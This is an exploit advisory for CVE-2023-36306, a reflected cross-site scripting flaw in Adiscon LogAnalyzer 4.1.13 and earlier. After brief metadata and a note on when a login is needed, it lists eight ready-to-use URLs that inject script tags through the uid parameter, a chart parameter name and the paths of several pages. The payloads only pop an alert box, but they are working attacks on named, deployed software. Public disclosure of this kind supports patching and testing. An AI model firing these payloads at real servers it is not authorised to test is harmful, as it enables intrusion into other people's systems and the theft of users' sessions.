Adiscon LogAnalyzer 4.1.13 Cross Site Scripting

`# Exploit Title: Adiscon LogAnalyzer v.4.1.13 - Cross Site Scripting  
# Date: 2023.Aug.01  
# Exploit Author: Pedro (ISSDU TW)  
# Vendor Homepage: https://loganalyzer.adiscon.com/  
# Software Link: https://loganalyzer.adiscon.com/download/  
# Version: v4.1.13 and before  
# Tested on: Linux  
# CVE : CVE-2023-36306  
  
There are several installation method.  
If you installed without database(File-Based),No need to login.  
If you installed with database, You should login with Read Only User(at least)  
  
XSS Payloads are as below:  
  
XSS  
http://[ip address]/loganalyzer/asktheoracle.php?type=domain&query=&uid=%22%3E%3Cscript%3Ealert%28%27XSS%27%29%3C/script%3E  
http://[ip address]/loganalyzer/chartgenerator.php?type=2&byfield=syslogseverity&width=400&%%22%3E%3Cscript%3Ealert%28%27XSS%27%29%3C/script%3E=123  
http://[ip address]/loganalyzer/details.php/%22%3E%3Cscript%3Ealert('XSS')%3C/script%3E  
http://[ip address]/loganalyzer/index.php/%22%3E%3Cscript%3Ealert('XSS')%3C/script%3E  
http://[ip address]/loganalyzer/search.php/%22%3E%3Cscript%3Ealert('xss')%3C/script%3E  
http://[ip address]/loganalyzer/export.php/%22%3E%3Cscript%3Ealert('XSS')%3C/script%3E  
http://[ip address]/loganalyzer/reports.php/%22%3E%3Cscript%3Ealert('XSS')%3C/script%3E  
http://[ip address]/loganalyzer/statistics.php/%22%3E%3Cscript%3Ealert('XSS')%3C/script%3E  
  
  
`